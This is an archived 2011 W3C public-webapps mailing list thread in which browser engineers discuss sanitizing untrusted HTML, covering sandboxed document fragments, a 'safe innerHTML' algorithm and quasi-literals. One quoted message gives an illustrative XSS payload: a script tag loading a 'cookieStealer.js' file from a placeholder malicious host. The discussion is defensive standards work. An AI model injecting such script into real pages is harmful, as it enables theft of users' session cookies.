- From: Daniel Cheng <dcheng@chromium.org>
- Date: Tue, 8 Nov 2011 17:24:28 -0800
- To: Ojan Vafai <ojan@chromium.org>
- Cc: Jonas Sicking <jonas@sicking.cc>, Ryan Seddon <seddon.ryan@gmail.com>, Yehuda Katz <wycats@gmail.com>, public-webapps WG <public-webapps@w3.org>
- Message-ID: <CAF3XrKqObUMyxqrUDHXuQPH6D57rEbpOnqavQL=1785u53PSzA@mail.gmail.com>
The clipboard events <http://www.w3.org/TR/clipboard-apis/> spec has some text about HTML sanitization. It might be good to make sure any work in this area is shared. Daniel On Tue, Nov 8, 2011 at 17:10, Ojan Vafai <ojan@chromium.org> wrote: > Providing concise, easy and XSS safe ways to generate a DOM is certainly > something we have to solve. I don't think sandbox is the best way to > achieve this. Specifically, I don't believe sandbox on iframes actually > strips the script elements, does it? It just doesn't execute them. > > If we want to continue down the string->DOM approach, then I agree with > Jonas, we need to define an algorithm for safe innerHTML and use it in all > the places where we can currently set HTML. I'm open to supporting this > use-case because the XHR pattern is so common. > > The other solution being proposed for easy, safe DOM creation is > quasi-literals, which I believe we should definitely also do. In those > cases, you'd have something like: > var myDom = html'<a href="">foo</a>'; > > The browser would provide a built-in html function that returns a DOM and > uses the browser's html parser. These are not strings though, so you can't > use the response from an XHR here. > > On Mon, Nov 7, 2011 at 8:36 PM, Jonas Sicking <jonas@sicking.cc> wrote: > >> On Mon, Nov 7, 2011 at 8:23 PM, Ryan Seddon <seddon.ryan@gmail.com> >> wrote: >> > On Tue, Nov 8, 2011 at 4:30 AM, Ojan Vafai <ojan@chromium.org> wrote: >> >> >> >> I don't really follow. Script won't execute until you append the >> fragment >> >> to the DOM, at which point the fragment itself doesn't go in the DOM, >> just >> >> it's children. So, I'm not really sure what sandboxing on fragments >> would >> >> do. >> > >> > If I was ajaxing in potentially hostile content that had malicious >> script >> > tags in it it would be ideal to "sandbox" the content so the HTML >> parser in >> > the browser would strip the content for me. >> > >> > xhr.responseText = "<div><script >> > >> src="//malicious.site/cookieStealer.js"></script><h1>content</h1></div>"; >> > >> > var frag = document.createDocumentFragment(); >> > >> > frag.sandbox = ""; >> > frag.innerHTML = xhr.responseText; // it's sandboxed so the script(s) >> will >> > be stripped by the parser. >> > >> > document.body.appendChild(frag); >> > >> > The following article demonstrates the same concept using an iframe >> with the >> > sandbox attribute set[1]. This to me would also make sense to be >> extended to >> > fragments. >> > >> > [1] >> > >> http://community.jboss.org/people/wesleyhales/blog/2011/08/28/fixing-ajax-on-mobile-devices >> >> I do think we should add something like this, however I think we >> should have a more explicit syntax for it. There's an old thread with >> subject "innerStaticHTML" in the WHATWG list which discusses this >> topic and various possible syntaxes. >> >> Note that inserting a untrusted piece of HTML into your document is >> interesting not just when dealing with document fragments. Both >> div.innerHTML as well as div.insertAdjecentHTML(...) seems like they >> could use "safe" variants. >> >> In short, I think a separate thread is needed for this :) >> >> / Jonas >> > >
Received on Wednesday, 9 November 2011 01:25:10 UTC